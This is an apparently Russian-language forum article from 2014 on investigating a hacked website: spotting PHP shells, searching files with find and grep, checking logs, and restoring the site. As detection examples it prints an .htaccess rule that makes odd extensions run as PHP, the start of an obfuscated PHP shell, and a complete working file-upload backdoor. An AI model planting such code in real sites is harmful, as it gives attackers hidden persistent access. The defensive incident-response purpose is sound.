PHP, JS, Linux, Seditio & LDU - Old Time's Sake - Через какую дыру взломали сайт

Никсы / Через какую дыру взломали сайт

Итак, ваш сайт взломали
Добавил: Amro Дата: 27.09.2014 20:31

Итак, ваш сайт взломали.

Взлом может быть очевидным — на вашем сайте появляются левые ссылки, при заходе на ваш сайт вдруг открываются странные сайты. Быть может что-то еще. А может быть — не очевидным — ссылки открываются только ночью, когда все спят, а утром они опять исчезают.

В любом случае это все очень плохо — вашим сайтом управляет кто-то другой. И код вашего сайта уже заражен.
Поэтому то что тут описано нужно делать всегда даже в качестве профилактики.

Если сайт взломали, то почти 100% залили на него PHP Shell. Его нужно обязательно найти и удалить. Но кроме того, нужно найти причину, каким образом залили на ваш сайт этот PHP Shell. Иначе удаление ничего не даст — через пару-тройку дней на вашем сайте опять будут хозяйничать чужие.

Чаще всего причины и методы взлома — это украденный кем-то пароль на FTP (часто происходит, особенно если те, кто имеют доступ на сайт используют Windows), устаревшая CMS или модули/плагины для нее. Но вопрос — каким образом ваш сайт взломали? На этом остановимся чуть позже.

А сначала ответим на вопрос Зачем вообще взламывают сайты?

Процесс взлома сайта поставлен на поток. Цель взлома может быть очень разной — и создание из вашего сервера части бот-нета, и использование его для заражения других компьютеров и серверов, и для того, чтобы заразить компьютеры ваших посетителей или украсть платежные или личные данные — да для много чего. Главное — если ваш сайт взломали и залили на него PHP Shell — то с вашим сервером можно делать все что угодно.

После того, как ваш сайт взломали, то могут быть следующие признаки:

Заливание на сайт левого содержимого. Типа — здесь был Че Гевара. Это называется девейс. Обычно самый безобидный по последствиям взлом. Ибо в этом случае почти никогда вирусы не заливают, ограничиваясь просто хулиганскими надписями
Включение в код сайта вредоносного кода (вирус). Обычно заражаются файлы index.html/index.php или .htaccess. Но в целом это могут быть целые поддельные модули для различных CMS, могут быть включения в части шаблонов — в общем все что угодно.
Поиск других сайтов в соседних папках и их заражение.
Рассылка спама.
Загрузка PHP Shell и выполнение произвольных действий — например, попытка взлома сервера с помощью существующих эксплойтов к операционным системам.
Установка ботов, которые подключаются к серверу IRC и могут выполнять произвольные команды «хозяина» — например, производить DDoS других сайтов. Т.е. ваш сервер становится частью бот-нета.

Поиск метода взлома

Алгоритм этого поиска довольно простой. Для начала вам нужно найти, какие изменения произошли на ваших сайтах. Проверить все индексные файлы, файлы .htaccess (обычно конец этого файла — не бойтесь листать до конца. Часто взломщики вставляют после последнего хорошего включения в файлы 100 или более пробелов. И уже потом идет код хакерского взлома)

К примеру в .htaccess может быть вставлена такая конструкция, разрешающая исполнение php кода в файлах с расширением .izo (или любое другое расширение)

AddType application/x-httpd-php .izo
AddHandler application/x-httpd-php .izo

Определить время взлома

Постараться по логам найти — как именно взломали сайт

При взломе практически всегда остаются следы: файлы, которые злоумышленник использовал для работы, например, PHP Shell.

Классический способ взлома CMS:

Через какую-либо уязвимость загрузить PHP Shell (или получить через уязвимость доступ администратора CMS и загрузить PHP Shell через менеджер файлов).

Через PHP Shell сделать все остальное.

Поэтому в первую очередь необходимо искать такие файлы — файлы, очевидно не принадлежащие сайту. Как правило, загруженные скрипты называются довольно необычно и сильно выделяются среди собственных скриптов CMS:

  wzxp.php
  gwd.php
  a10881d.php.2046

Результат работы эксплойта, запущенного для взлома сервера, может выглядеть так:

  ./w.sh
  ./env
  ./env.c
  ./program.c
  ./program.o
  ./w00t.so.1.0
  /tmp/sh
  /tmp/sh2

Эти файлы могут быть расположены как в корне сайта, так и в папке tmp/ или cache/. Поискать их стоит также в папках вроде images/, upload/, user_files/ и т. д. — часто через уязвимости в редакторах или библиотеках фотографий скрипты загружаются именно в то место, куда обычно загружаются фотографии или хранятся временные файлы.

Помимо файлов сайта стоит также проверить общий /tmp сервера — в нем могут находиться временные файлы, использованные для взлома или для запуска ботов.

Обязательно загляните в файл .htaccess — в нем могут быть добавлены перенаправления на другие сайты, распространяющие вирус. При этом файл .htaccess может быть размещен как в корне сайта, так и выше, поэтому не поленитесь посмотреть все директории вашего аккаунта.

Иными словами, необходимо искать все необычное/непонятное и заглядывать внутрь всех подозрительных файлов. PHP Shell может выглядеть, например, так:

  <?php #v2.3 //Version
  $auth_pass = ""; //75b43eac8d215582f6bcab4532eb854e
  $color = "#00FF66"; //Colour
  $default_action = "FilesMan";
  $default_charset = "Windows-1251";
  preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65
  \x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5
  GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/
  // ... много кода в base64

Ключевые моменты, на которые стоит обращать внимание в скриптах PHP:

Co0lHaZZkeR'ский стиль написания текста.

Наличие слов Exploit и Shell.

Наличие большого количества кода в base64.

Наличие eval() или функции preg_replace() с ключом /e в первом аргументе.

В конце концов, можно просто зайти браузером и посмотреть, что делает этот скрипт.

Файлы можно искать и вручную, но быстрее, если взлом произошел недавно, воспользоваться командой find:

  # find ./public_html -mtime -3
  # find ./public_html -mmin -600

Эти команды покажут файлы, изменявшиеся за последние три дня и последние 10 часов, соответственно. Можно указать явно расширение файлов:

  # find ./public_html -type f -name '*.php' -mtime -3
  # find ./public_html -type f -name '*.php' -mmin -600

ещё можно так попробывать:

  # find ./public_html -newermt "2014-09-20" -iname "*.php"
  # find ./public_html -newermt "2014-09-23" -iname "*.php"

Эти команды покажут файлы, изменявшиеся начиная с определённой даты.

Если ничего не помогает, можно просто поискать все файлы, содержащие закодированное в base64 содержимое, например, так:

  # find ./ -name '*.php' | xargs grep -E '[0-9a-zA-Z/]{80}' > viruses.txt

Эта команда найдет все скрипты PHP, в которых есть строки, похожие на base64 длиной не менее 80 символов. Потом просматривая полученный файл viruses.txt можно найти base64 включения и проверить их.

Не лишним будет проверить скрипты и на наличие функции eval и base64_*

  # find ./public_html -type f -iname "*.php" -exec grep -Him1 'eval' {} \;
  # find ./public_html -type f -iname "*.php" -exec grep -Him1 'base64' {} \;

Немного про бэкдоры

Нередко помимо заливки Shell взломщики оставляют скрытые бэкдоры в скриптах, посредством которых Shell может быть залит в будущем. Бэкдор эта так называемая «чёрная дверка» для аплоадинга на сервер файлов. В этой дверке вы не найдёте ни eval ни base64 и т.д. К примеру бэкдор может иметь следующий вид:

if(isset($_GET['portal']) && isset($_GET['mode'])) 
{
   if (isset($_FILES['newFile']))
   {
       $f = $_FILES['newFile'];
       try 
       {
           if (!move_uploaded_file( $f['tmp_name'], $_SERVER['DOCUMENT_ROOT'] . $_POST['dir'] . $f['name']))
              echo "File move error";
           else
              echo "File has been uploaded";
       } catch (RuntimeException $e) {
           echo $e->getMessage();
       }

       exit;
   }
   switch ($_GET['mode']) {
       case 'upload':
           echo $_SERVER['DOCUMENT_ROOT'];
           echo '<form method="POST" action="" enctype="multipart/form-data"><input type="text" name="dir" value="/"><br /><input type="file" name="newFile"><input type="Submit" name="Submit" value="Submit"></form>';
           break;
   }
   exit;
}

Определение времени взлома

Когда файлы найдены, определить время взлома очень просто — достаточно посмотреть время изменения самого раннего файла.

Если подозрительных файлов не найдено, но сайт заражен вирусом, посмотрите дату изменения файлов index.php, index.html или тех, в которых обнаружите вирус. Скорее всего в этом случае сайт взломали, украв пароль от FTP.

Поиск журналов взлома сайта

Теперь самое главное — чтобы эти журналы были в наличии!

Если на сайте только произведен дефейс или добавлен вирус ко всем файлам index.html, скорее всего, сайт взломали через кражу пароля FTP (или, гораздо реже, SSH). Посмотрите журналы подключения по FTP и SSH во время взлома — присутствие в нем неизвестных IP-адресов или большого количества разных IP-адресов, осуществивших успешное подключение к сайту, означает, что пароль украден.

В этом случае достаточно проверить компьютеры, с которых осуществлялся доступ к сайту, на вирусы, сменить пароли FTP и никогда больше не сохранять пароли в клиентах FTP.

Если же на сайте присутствуют PHP Shell или вредоносные скрипты (например, для рассылки спама), скорее всего, сайт взломали через уязвимость в CMS или каком-либо её плагине. В этом случае потребуется проанализировать логи веб-сервера.

Чтобы лучше понять, что необходимо искать, рассмотрим, как происходит взлом CMS.

Злоумышленник определяет, что на сайте установлены CMS или ее плагины, либо другое ПО (устаревшая Joomla, phpMyAdmin, редактор WYSIWYG, галерея фотографий и т. д.), потенциально подверженные уязвимости.

Он начинает перебирать известные эксплойты к этому ПО. Цель — каким-либо образом загрузить свой файл на сайт.

Когда уязвимость найдена, взломщик загружает PHP Shell.

Подключившись к PHP Shell, взломщик получает полный доступ к сайту и дальше может использовать его в любых целях.

Важный момент — загрузка PHP Shell. В предыдущей части мы определили, в какое время на сайт были загружены вредоносные скрипты. Теперь достаточно найти обращения к ним в журнале веб-сервера. Таким образом мы сможем определить IP-адрес злоумышленника. Это можно сделать простым grep'ом в access.log по имени файла PHP Shell'а.

Если удалось определить IP-адрес

Определив IP-адрес взломщика, мы производим поиск этого IP-адреса по журналу веб-сервера и видим все действия, которые он совершал. Где-то близко к моменту обращения к PHP Shell будет успешное использование уязвимости сайта.

Если определить IP-адрес не удалось

Описанный выше способ работает, если известно конкретное имя файла, через которое производилась работа с сайтом после взлома. Однако это имя не всегда известно. В этом случае придется поискать момент взлома немного подольше, но найти его все равно можно.

Большинству, подавляющему большинству взломов свойственны запросы HTTP POST, так как через них происходит загрузка файлов на взламываемый сайт. Через POST злоумышленник может также пытаться взломать форму ввода пароля или просто зайти в раздел администрирования с украденным паролем.

Если известно время взлома сайта (а мы его уже знаем), необходимо поискать в журнале веб-сервера все запросы POST, находящиеся близко ко времени взлома. Здесь нет конкретных советов — выглядеть они могут совершенно по-разному, но выглядеть они будут в любом случае необычно. Например, это могут быть запросы, содержащие '../../../../' или длинные запросы, содержащие имена файлов или запросы SQL.

Если ничего не удалось найти

Такое тоже может быть. В этом случае можно порекомендовать только чистую переустановку CMS и ее расширений и последующий импорт данных. Обязательно убедитесь, что версия CMS и ее расширений — последняя.

И ее расширений! Чаще всего взломы производятся не через ядро системы управления сайтом, а через какой-нибудь устаревший плагин, автор которого давно забросил его разработку.

Ну и, разумеется, смените все пароли, которые имеют какое-либо отношение к сайту.

Хозяйке на заметку

В процессе поиска уязвимостей на сайте, если нет возможности заблокировать к нему доступ посетителей, заблокируйте хотя бы запросы POST. Это предотвратит возможность применения большинства стандартных эксплойтов.

Не используйте устаревшие версии CMS и плагинов к ним. Следите за обновлениями! После определения причины взлома не ограничивайтесь удалением найденных скриптов — добавленные злоумышленником точки проникновения могут быть хорошо спрятаны. Лучшая схема восстановления сайта после взлома — это закрыть к нему доступ посетителей, найти причину взлома, восстановить сайт из резервной копии (этим мы исключаем любые изменения сайта, которые мог произвести злоумышленник), обновить CMS, убедившись, что уязвимый компонент также обновился, после чего снова открыть доступ к сайту.

Кроме того можно проверять ваши сайты антивирусом. Большинство не закодированных base64 PHP Shell он найдет:

  clamscan --move /tmp/clamav --max-dir-recursion=200 -i -r /srv/www/

Этой командой мы сканируем директорию /srv/www/ с глубиной рекурсии 200 и перемещаем все зараженные файлы в папку /tmp/clamav

Только не забудтье сделать эту папку ;-)